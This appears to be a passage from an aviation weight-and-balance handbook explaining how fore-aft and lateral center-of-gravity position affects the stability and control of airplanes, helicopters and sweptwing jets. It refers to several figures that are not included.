As long as the CG is maintained within the allowable limits for its weight, the airplane will have adequate longitudinal stability and control. If the CG is too far aft, it will be too near the center of lift and the airplane will be unstable, and difficult to recover from a stall. [Figure 1-2] If the unstable airplane should ever enter a spin, the spin could become flat and recovery would be difficult or impossible.

[figure 1-2]

If the CG is too far forward, the downward tail load will have to be increased to maintain level flight. This increased tail load has the same effect as carrying additional weight — the aircraft will have to fly at a higher angle of attack, and drag will increase.

A more serious problem caused by the CG being too far forward is the lack of sufficient elevator authority. At slow takeoff speeds, the elevator might not produce enough nose- up force to rotate and on landing there may not be enough elevator force to flare the airplane. [Figure 1-3] Both takeoff and landing runs will be lengthened if the CG is too far forward.

figure 1-3


The efficiency of some modern high-performance military fighter airplanes is increased by giving them neutral longitudinal stability. This is normally a very dangerous situation; but these aircraft are flown by autopilots which react far faster than a human pilot, and they are safe for their special operations.

The basic aircraft design assumes that lateral symmetry exists. For each item of weight added to the left of the centerline of the aircraft (also known as buttock line zero, or BL-0), there is generally an equal weight at a corresponding location on the right.

The lateral balance can be upset by uneven fuel loading or burnoff. The position of the lateral CG is not normally computed for an airplane, but the pilot must be aware of the adverse effects that will result from a laterally unbalanced condition. [Figure 1-4] This is corrected by using the aileron trim tab until enough fuel has been used from the tank on the heavy side to balance the airplane. The deflected trim tab deflects the aileron to produce additional lift on the heavy side, but it also produces additional drag, and the airplane flies inefficiently.

figure 1-4


Helicopters are affected by lateral imbalance more than airplanes. If a helicopter is loaded with heavy occupants and fuel on the same side, it could be enough out of balance to make it unsafe to fly. It is also possible that if external loads are carried in such a position to require large lateral displacement of the cyclic control to maintain level flight, the fore-and-aft cyclic control effectiveness will be limited.

Sweptwing airplanes are more critical due to fuel imbalance because as the fuel is used from the outboard tanks the CG shifts forward, and as it is used from the inboard tanks the CG shifts aft. [Figure 1-5] For this reason, fuel-use scheduling in high-speed jet aircraft operation is critical.

figure 1-5


Aircraft can perform safely and achieve their designed efficiency only when they are operated and maintained in the way their designers intended. This safety and efficiency is determined to a large degree by holding the aircraft’s weight and balance parameters within the limits specified for its design. The remainder of this book describes the way in which this is done.